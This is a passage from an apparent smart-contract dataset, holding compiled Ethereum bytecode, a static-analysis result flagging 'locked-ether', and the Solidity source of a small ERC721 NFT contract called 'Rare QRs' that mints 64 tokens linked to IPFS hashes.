1515612db657fe5b905060200201356040518082815260200191505060405180910390a38080600101915050612b82565b5050505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612ea25780601f10612e7757610100808354040283529160200191612ea2565b820191906000526020600020905b815481529060010190602001808311612e8557829003601f168201915b505050505081565b6000600a60009054906101000a900460ff16151515612f31576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f546865726520697320612070617573652e00000000000000000000000000000081525060200191505060405180910390fd5b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fc2836000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bb790919063ffffffff16565b1015151561305e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001807f417474656d7074696e6720746f2073656e64206d6f7265207468616e2074686581526020017f206c6f636b6564206e756d62657200000000000000000000000000000000000081525060400191505060405180910390fd5b6130688383613cc6565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061311c575060011515600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b15156131b6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001807f4974206973206e6f7420746865206f776e6572206f72206d616e61676572207781526020017f616c6c657420616464726573732e00000000000000000000000000000000000081525060400191505060405180910390fd5b60015481111580156131f55750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15156132b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260558152602001807f4974206973207468652066697273742077616c6c6574206f7220617474656d7081526020017f74656420746f206c6f636b20616e20616d6f756e74206772656174657220746881526020017f616e2074686520746f74616c20686f6c64696e672e000000000000000000000081525060600191505060405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f173c6954f6574ae8ea8afd3eed2fc6ddd6f1aac55aab5e2c3a10edc59ba2dfd3826040518082815260200191505060405180910390a25050565b60096020528060005260406000206000915090505481565b60006133f482600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c3c90919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561364a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f4920616d206e6f7420746865206f776e6572206f66207468652077616c6c657481526020017f2e0000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b61369b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bb790919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061372f81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c3c90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061378781600154613bb790919063ffffffff16565b6001819055503373ffffffffffffffffffffffffffffffffffffffff167fcac76f4972d9ff5ad35f15943c99ef30a49b3a0203cc98c4ef401ab7b8d1a509826040518082815260200191505060405180910390a250565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613950576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f4920616d206e6f7420746865206f776e6572206f66207468652077616c6c657481526020017f2e0000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141580156139db5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015613a37575060011515600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b1515613af7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260488152602001807f4974206d75737420626520746865206578697374696e67206d616e616765722081526020017f77616c6c65742c206e6f7420746865206578697374696e67206f776e6572277381526020017f2077616c6c65742e00000000000000000000000000000000000000000000000081525060600191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211151515613c31576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f546865726520617265206d6f726520746f206465647563742e0000000000000081525060200191505060405180910390fd5b818303905092915050565b6000808284019050838110151515613cbc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f546865206e756d62657220646964206e6f7420696e6372656173652e0000000081525060200191505060405180910390fd5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015613d05575060008214155b8015613d4f57506000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211155b1515613e0f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260468152602001807f506c6561736520636865636b2074686520616d6f756e74206f66207472616e7381526020017f6d697373696f6e206572726f7220616e642074686520616d6f756e7420796f7581526020017f2073656e642e000000000000000000000000000000000000000000000000000081525060600191505060405180910390fd5b613e60826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bb790919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613ef3826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c3c90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820f50fde39372dc9135dba8877c11c88fffa7dcf2f574a3eb9605904ea0242a0a90029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 9,450 |
0x00000000fffd97acdc8c5585c818f6b0f946c0ed
|
/**
*Submitted for verification at Etherscan.io on 2021-09-01
*/
pragma solidity ^0.8.0;
interface IERC721 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
contract ERC721 is Context, IERC721 {
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function supportsInterface(bytes4 interfaceId) public view virtual returns (bool) {
return interfaceId == type(IERC721).interfaceId;
}
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function _baseURI() internal view virtual returns (string memory) {
return "";
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
}
contract QR is ERC721 {
uint8 internal _count;
bytes constant ALPHABET = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';
uint16 constant prefixInt = 4640;
bytes32[] internal ipfsLinks;
constructor() ERC721("Rare QRs", "Q") {
_count = 0;
ipfsLinks = [bytes32(0x2c7658c7f3dbb9bbc22ffe8e4bf4915f6503618c28dd0a7425b4844045aa77e3), bytes32(0x2621bf62f881ad2ca8e9154d5faf9c6f7b1337eb14ecea940beb6081fe43810a), bytes32(0x1ea0e7276f08079ba3eb5d5db626f7c6b2af43ea9fe2057396668fec721d728d), bytes32(0x3e6bb3d82181874259ef855b8178d125585a55fc72eb97e2c956eebef8cf5d44), bytes32(0x5d9698497e3c3ac1656c9a456bcfb02989c68b949307c46a78417c35b022d8c8), bytes32(0xa100261e8c7cb02d89ede8d3c48936d5d6d8c0bbc077c1061f8e00d36bee1c37), bytes32(0xf24b70fc7f3eec510150d22ef59d5821f2558a79c8fd6c523e2ce73fe26ffd66), bytes32(0x53eaf88c59664c0340a469345bce47cff8e98d4590e5359fd8f93d4aa280eb8b), bytes32(0x0bbb5d6ff3ef1844721a5f921ce8f97f243d8d278d3f459fd63b53cba3c2baea), bytes32(0x355f7c89e84decf365dc040d26dc00a2fb3ba4093ec07aa3937e3c6232f67c3f), bytes32(0x4b57af095c7fec01a95ff38d05f8b0739ca8db64b843830e112001fc0d4fd6ab), bytes32(0x1c84fb565b67938f05257c529c7f0641ad7a22d2427300953f7364b5024621c6), bytes32(0x950f021b3d3a5e05f75c96bd49a2d29965195c87f12ef2fafea31a2073443b13), bytes32(0x6868be09fbe323a4108bf0e93393109afa10ed13d2d73bfb5cacfbc1e0980a22), bytes32(0xb185c4c7013bf4548f35021019f0121b8452df5908f3609796700a8dee6fb76e), bytes32(0xe76496d2608722b66a5c338d7a9a74cae43c4b8cc968d780e3807c9c713a31f6), bytes32(0x018ff9bb328b8bb77dbdcfdfb6ecf5288d9b0d327782670b52766c6659aed5f1), bytes32(0x9431493cbf1206e05a65bef446838c0e4d8ead54d4c53f5c2e9dc17ada6f33ec), bytes32(0xbbf649801868986c3d7e2239172019a06800239707e28486cb16205f8fb66cc2), bytes32(0xe07df2a33893f4e2856d27c4081e3db80eea5da388f76c46edd6a3eea859c8e6), bytes32(0x8d5430a315404995757726d3a1fc4c1c44e18b2c1ce5aa2039741c3ce1957cb8), bytes32(0xc7dbb8b4ee6efe93359fba0b44c0adae94a549bf0780ab0d9b2bdb2af19c119f), bytes32(0xf0640598d6a95be564cd446f101750dace146453f9a3b3b38acd4972e132321a), bytes32(0x9187aac4dbae96893cc8934e9cf551359621bec93b9f9a6efbb38fee5ddb6fc1), bytes32(0xb311fa354fd381c07419278d4acefe5d71632d82b9dd71e832f0f26f14821b20), bytes32(0xcf381b71f64873b80593fb946ca58c81c980add8f18d7f73b561be043dbf3c30), bytes32(0xdafed8de98266f26526e69086f66840dab4c59c6883b3b85fef09125c3cd42ae), bytes32(0xe05e86591ada0f8377f7b305903520765a7b5ae7bbb7d1537be6fe5b8331ea3c), bytes32(0xcde869ae256171675972b4c0a1f21112afc921c3392d4a788788f82a21c7c7cb), bytes32(0xe0ab35655ca79b797ead9fa74c15bf792931f29442d77937fb9c97af89b7767b), bytes32(0xa4b56fabf0f631b62efe6375d9cecc2e971dafd07cce5f249fc2828e08b272b6), bytes32(0x442adf7bbc35d3e98c3695ee854589308c9db6412db96a5a0437f4b9c74e9257), bytes32(0x483051633c23942951746d798133a5fdd716cd1c268e0d6a5dc6d4e1bf8d5785), bytes32(0xdc1ba9d01b8ad990231c7892d94daee65a77793b62998e381a2b90e5e8f07528), bytes32(0x9abf39bc2dfbcf55e3f1c8e9ee5c6525fbdeba9ada56f986ad2913d5155361ce), bytes32(0x86c34b4e82c7caa40fbfa9cf2654065b17253db3d26f526f6be2a9274927725a), bytes32(0x3f4dbb444fed66b4e63ed71f901bed95bb221eed8e6d173fc4593b0e9946f653), bytes32(0x1feac35e4d48b9310cf9f746416d02962c6b1b2a0281c3242e97eb60ef56cc70), bytes32(0xdd88804a09f78c5874ea857ca4cfa3eac170ce2ce4571fa03a7802273617b99c), bytes32(0x0aa16b240c51fc4753bb33dd351320d788f3e3a2cdd0dac313a3e91493381c17), bytes32(0x967a5ccafa3888f4c1e02b579b40d14e677079b277d972bdf13f21f2af6bcc26), bytes32(0x4fab6e2e41c2cd209edd48533d4f152d1e3dfb3a3dfe110e4dcb3a5e59cdcaf7), bytes32(0x56eeaccb4ba87be0d1c7d955a3edb2bc8b904d249528d0ad9bbfe5efd43d3103), bytes32(0x82bed8ad500005cdf74e4e578e2c67e4d65350314bd39776cc0317dfff91a5c9), bytes32(0x50488a45b1a9cf2e0af21966390fa7a50d3d92e59cfbfb682215e7df54c35d64), bytes32(0xa27dd030789df429ad167d15671fdfc3837ca0e5c9bf9c92aa3a632a383c1a5f), bytes32(0xdbb24870e5b6673abefd8ec25798d3c9f8736fdd7b2ce5ae924ee9e5e8621df5), bytes32(0x45e7e5b44c7424b9707710d0274b21be774a88947977938dbf19436dc6bdf792), bytes32(0x703a1f32399a6a399e7a8ce3d48c3d58f8707601a7d96ae4a600a12dd0704b12), bytes32(0x59595fbefa285356baa98d2d5bdacb74b06d0210aa534f95be7bfd0872c975ed), bytes32(0x31ade3079ee02d939ef4c5cd9047949c5487f7a07b65e6fabf96ee57dbb1caec), bytes32(0x935e4d9faddb9336d85258e8d3d438a971be27d6b774ba9659699fee0650e800), bytes32(0x654c0fc766612eb603eb3fb71ec436ce3d84b43264ba5a57ec6eefedbdcb81bc), bytes32(0xb2810575eb6e25fbdcb2f483787e1878ba2303b1f05ea7ed74d46c80164c4700), bytes32(0x1f052f9a7a8932e4eee8dc33814b30caf5846a56729be7001e10f37e93ba5bf5), bytes32(0x216048b1949a094f78bef00691562f24707d0425c6ca8c131c1635cb141636fa), bytes32(0x6f327ef5354373e09f696bc6a3e28aadcf80eb67680ec0f038db74e29f619e49), bytes32(0x1e25716383d28ea49ef071e65cf6f17ab1f491f7723034f3b798ded719daf5e5), bytes32(0xa54cb8d91f8bfc7f5e5dce92cbfc235c34191bf6ac9e0c3080f8661548c13555), bytes32(0x56c75993a14b53f4483165770a968a326bb71e6b59fa341aff82a00e0811aabe), bytes32(0x5bbb8db06e273c8d895e7e558ec5df325a734a830827615fea6a45c61f2ca90d), bytes32(0xf81ef5ec60296718437b3055d7c6b9b6e8a3932afe4de37dbf992d5e6c1aab87), bytes32(0x6281ef6a355fa30eda2d225a511db8bcc48b43f7b39c58497efc143707e8db68), bytes32(0x1ae74ebb38e831cab0977df718db515b2946205a032a28b5810a3bb11a1fcd43)];
}
event PermanentURI(string _value, uint256 indexed _id);
function truncate(uint8[] memory array, uint8 length) internal pure returns (uint8[] memory) {
uint8[] memory output = new uint8[](length);
for (uint256 i = 0; i<length; i++) {
output[i] = array[i];
}
return output;
}
function reverse(uint8[] memory input) internal pure returns (uint8[] memory) {
uint8[] memory output = new uint8[](input.length);
for (uint256 i = 0; i<input.length; i++) {
output[i] = input[input.length-1-i];
}
return output;
}
function toAlphabet(uint8[] memory indices) internal pure returns (bytes memory) {
bytes memory output = new bytes(indices.length);
for (uint256 i = 0; i<indices.length; i++) {
output[i] = ALPHABET[indices[i]];
}
return output;
}
function concat(bytes memory byteArray, bytes memory byteArray2) internal pure returns (bytes memory) {
bytes memory returnArray = new bytes(byteArray.length + byteArray2.length);
uint i = 0;
for (i; i < byteArray.length; i++) {
returnArray[i] = byteArray[i];
}
for (i; i < (byteArray.length + byteArray2.length); i++) {
returnArray[i] = byteArray2[i - byteArray.length];
}
return returnArray;
}
// From https://github.com/MrChico/verifyIPFS/blob/master/contracts/verifyIPFS.sol#L28
function toBase58(bytes memory source) public pure returns (bytes memory) {
bytes memory prefix = abi.encodePacked(prefixInt);
source = concat(prefix, source);
if (source.length == 0) return new bytes(0);
uint8[] memory digits = new uint8[](64);
digits[0] = 0;
uint8 digitlength = 1;
for (uint256 i = 0; i<source.length; ++i) {
uint carry = uint8(source[i]);
for (uint256 j = 0; j<digitlength; ++j) {
carry += uint(digits[j]) * 256;
digits[j] = uint8(carry % 58);
carry = carry / 58;
}
while (carry > 0) {
digits[digitlength] = uint8(carry % 58);
digitlength++;
carry = carry / 58;
}
}
return toAlphabet(reverse(truncate(digits, digitlength)));
}
function mintQr() public {
require(_count < ipfsLinks.length, "Capped!");
_mint(msg.sender, _count);
emit PermanentURI(string(abi.encodePacked("ipfs://", toBase58(abi.encodePacked(ipfsLinks[_count])))), _count); // Putting this in the mint function artificially pumps the gas cost, burning more eth!
_count++;
}
function tokenURI(uint256 tokenId) public view returns (string memory) {
require (_count > tokenId, "Not yet minted!");
return string(abi.encodePacked("ipfs://", toBase58(abi.encodePacked(ipfsLinks[tokenId]))));
}
function totalSupply() public view returns (uint256) {
return _count;
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063b88d4fde11610066578063b88d4fde146102bf578063c87b56dd146102db578063d454600d1461030b578063e985e9c51461031557610100565b806370a082311461022557806395d89b4114610255578063a22cb46514610273578063b500cc081461028f57610100565b806318160ddd116100d357806318160ddd1461019f57806323b872dd146101bd57806342842e0e146101d95780636352211e146101f557610100565b806301ffc9a71461010557806306fdde0314610135578063081812fc14610153578063095ea7b314610183575b600080fd5b61011f600480360381019061011a9190611fde565b610345565b60405161012c91906123ef565b60405180910390f35b61013d6103af565b60405161014a919061242c565b60405180910390f35b61016d60048036038101906101689190612048565b610441565b60405161017a91906123d4565b60405180910390f35b61019d60048036038101906101989190611fa2565b6104c6565b005b6101a76105de565b6040516101b4919061260e565b60405180910390f35b6101d760048036038101906101d29190611e9c565b6105f8565b005b6101f360048036038101906101ee9190611e9c565b610658565b005b61020f600480360381019061020a9190612048565b610678565b60405161021c91906123d4565b60405180910390f35b61023f600480360381019061023a9190611e37565b61072a565b60405161024c919061260e565b60405180910390f35b61025d6107e2565b60405161026a919061242c565b60405180910390f35b61028d60048036038101906102889190611f66565b610874565b005b6102a960048036038101906102a49190612007565b6109f5565b6040516102b6919061240a565b60405180910390f35b6102d960048036038101906102d49190611eeb565b610d7b565b005b6102f560048036038101906102f09190612048565b610ddd565b604051610302919061242c565b60405180910390f35b610313610ec5565b005b61032f600480360381019061032a9190611e60565b61105a565b60405161033c91906123ef565b60405180910390f35b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b6060600080546103be906128bd565b80601f01602080910402602001604051908101604052809291908181526020018280546103ea906128bd565b80156104375780601f1061040c57610100808354040283529160200191610437565b820191906000526020600020905b81548152906001019060200180831161041a57829003601f168201915b5050505050905090565b600061044c826110ee565b61048b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104829061256e565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60006104d182610678565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610542576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610539906125ce565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1661056161115a565b73ffffffffffffffffffffffffffffffffffffffff161480610590575061058f8161058a61115a565b61105a565b5b6105cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c6906124ee565b60405180910390fd5b6105d98383611162565b505050565b6000600660009054906101000a900460ff1660ff16905090565b61060961060361115a565b8261121b565b610648576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063f906125ee565b60405180910390fd5b6106538383836112f9565b505050565b61067383838360405180602001604052806000815250610d7b565b505050565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610721576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107189061252e565b60405180910390fd5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561079b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107929061250e565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600180546107f1906128bd565b80601f016020809104026020016040519081016040528092919081815260200182805461081d906128bd565b801561086a5780601f1061083f5761010080835404028352916020019161086a565b820191906000526020600020905b81548152906001019060200180831161084d57829003601f168201915b5050505050905090565b61087c61115a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156108ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e19061248e565b60405180910390fd5b80600560006108f761115a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff166109a461115a565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516109e991906123ef565b60405180910390a35050565b60606000611220604051602001610a0c91906123b9565b6040516020818303038152906040529050610a27818461154a565b9250600083511415610aaf57600067ffffffffffffffff811115610a74577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015610aa65781602001600182028036833780820191505090505b50915050610d76565b6000604067ffffffffffffffff811115610af2577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015610b205781602001602082028036833780820191505090505b509050600081600081518110610b5f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019060ff16908160ff168152505060006001905060005b8551811015610d55576000868281518110610bc0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602001015160f81c60f81b60f81c60ff16905060005b8360ff16811015610cb957610100858281518110610c1d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015160ff16610c329190612754565b82610c3d91906126cd565b9150603a82610c4c91906129af565b858281518110610c85577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019060ff16908160ff1681525050603a82610ca69190612723565b915080610cb290612920565b9050610bd6565b505b6000811115610d4357603a81610cd191906129af565b848460ff1681518110610d0d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019060ff16908160ff16815250508280610d2c90612969565b935050603a81610d3c9190612723565b9050610cbb565b5080610d4e90612920565b9050610b7c565b50610d70610d6b610d668484611787565b6118b9565b6119fe565b93505050505b919050565b610d8c610d8661115a565b8361121b565b610dcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc2906125ee565b60405180910390fd5b610dd784848484611ba8565b50505050565b606081600660009054906101000a900460ff1660ff1611610e33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2a906125ae565b60405180910390fd5b610e9f60078381548110610e70577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154604051602001610e8b919061237c565b6040516020818303038152906040526109f5565b604051602001610eaf9190612397565b6040516020818303038152906040529050919050565b600780549050600660009054906101000a900460ff1660ff1610610f1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f15906124ce565b60405180910390fd5b610f3a33600660009054906101000a900460ff1660ff16611bb9565b600660009054906101000a900460ff1660ff167fa109ba539900bf1b633f956d63c96fc89b814c7287f7aa50a9216d0b55657207610fec6007600660009054906101000a900460ff1660ff1681548110610fbd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154604051602001610fd8919061237c565b6040516020818303038152906040526109f5565b604051602001610ffc9190612397565b604051602081830303815290604052604051611018919061242c565b60405180910390a26006600081819054906101000a900460ff168092919061103f90612969565b91906101000a81548160ff021916908360ff16021790555050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff166111d583610678565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b20